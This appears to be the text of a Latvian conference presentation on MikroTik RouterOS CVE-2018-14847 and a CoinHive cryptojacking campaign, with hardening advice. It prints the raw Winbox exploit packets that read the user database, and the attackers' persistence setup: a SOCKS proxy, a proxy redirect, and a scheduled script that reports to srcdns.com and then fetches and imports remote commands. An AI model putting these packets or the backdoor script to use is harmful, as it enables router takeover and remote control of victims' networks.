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§ SPX SIA datortīklu eksperts / LU doktorantūra

§ MikroTik / Microsoft sertificēts pasniedzējs

§ Eiropas Komisijas nākotnes tīklu izpēte
§ Latvijas Interneta asociācija
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Web Proxy
+++ CoinHive racējs
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CVE-2018-14847

https://nvd.nist.gov/vuln/detail/CVE-2018-14847
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Ievainojamība attiecas uz RouterOS versijām:

Visām bugfix versijām no 6.30.1 līdz 6.40.7, salabots 6.40.8 2018-Apr-23
Visām current versijām no 6.29 līdz 6.42, salabots 6.42.1 2018-Apr-23
Visām RC versijām no 6.29rc1 līdz 6.43rc3, salabots 6.43rc4 2018-Apr-23

1) Ievainojamība pieļāva iespēju caur Winbox pārvaldības portu lejuplādēt
sistēmas lietotāju datu bāzi

2) Atšifrējot DB tiek pie lietotāja/paroles ar kuru maina konfigurāciju
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TCP 8291

2^16 = 65536
Izmantojamie porti 1-65535
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filter add chain=forward action=drop connection-
state=new connection-nat-state=!dstnat in-interface-
list=WAN comment="defconf:  drop all from WAN 
not DSTNATed"
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drošākā prakse: 1) lietot VPN, piemēram, IPSec, lai pieslēgtos rūterim. 
2) atļaut Winbox pieeju tikai caur VPN

60.70.80.90

60.70.80.90
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1) Atver savienojumu, lai saņemtu ID

0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00,
0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05, 0x07,
0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21,
0x35, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f,
0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f,
0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f,
0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x66,
0x6c, 0x61, 0x73, 0x68, 0x2f, 0x72, 0x77, 0x2f,
0x73, 0x74, 0x6f, 0x72, 0x65, 0x2f, 0x75, 0x73,
0x65, 0x72, 0x2e, 0x64, 0x61, 0x74, 0x02, 0x00,
0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88,
0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00,
0x00, 0x00

0x3b, 0x01, 0x00, 0x39, 0x4d, 0x32, 
0x05, 0x00, 0xff, 0x01, 0x06, 0x00,
0xff, 0x09, 0x06, 0x01, 0x00, 0xfe, 
0x09, 0x35, 0x02, 0x00, 0x00, 0x08,
0x00, 0x80, 0x00, 0x00, 0x07, 0x00,
0xff, 0x09, 0x04, 0x02, 0x00, 0xff,
0x88, 0x02, 0x00, 0x00, 0x00, 0x00,
0x00, 0x08, 0x00, 0x00, 0x00, 0x01,
0x00, 0xff, 0x88, 0x02, 0x00, 0x02,
0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 
0x00

2) Pieprasa lietotāju DB ar samainītu ID
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https://www.exploit-db.com/exploits/45170/

Metasploit Framework: 4.16.58-dev on Kali Linux
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/export

parole Aa142636
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/system logging action
set 0 memory-lines=1
set 1 disk-file-name=log

14



/ip firewall filter
add action=add-src-to-address-list address-list=Ok 
address-list-timeout=15s protocol=tcp\

chain=input comment=sysadminpxy dst-port=8080

/ip firewall nat
add action=redirect chain=dstnat comment=sysadminpxy
dst-port=80 protocol=tcp \

src-address-list=!Ok to-ports=8080

15



/ip proxy set anonymous=yes enabled=yes
/ip proxy access add action=deny
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/ip socks
set enabled=yes port=43840
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/system scheduler
add interval=1m start-time=startup name="SRCDNS update" \
on-event="/system script run SRCDNS"

19



/system script
add name=SRCDNS owner=admin policy=\

ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon 
source=":\

global mac [/interface ethernet get 1 mac-address]\r\
\n:global port ([/ip service get winbox port].\"_\".[/ip socks get

port].\
\"_\".[/ip proxy get port])\r\
\n:global info ([/ip socks get enabled].\"_\".[/ip proxy get

enabled].\"_\
\".[/interface pptp-server server get enabled])\r\
\n:global cmd \"/\$mac/\$port/\$info/dns\"\r\
\n/tool fetch address=srcdns.com src-path=\$cmd mode=http dst-

path=srcdns;\
:delay 3s\r\
\n/import srcdns;:delay 4s;/file remove srcdns"

http://srcdns.com/00:0C:42:A3:86:30/8291_1080_8080/false_false_false/dns
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Paldies par klausīšanos!


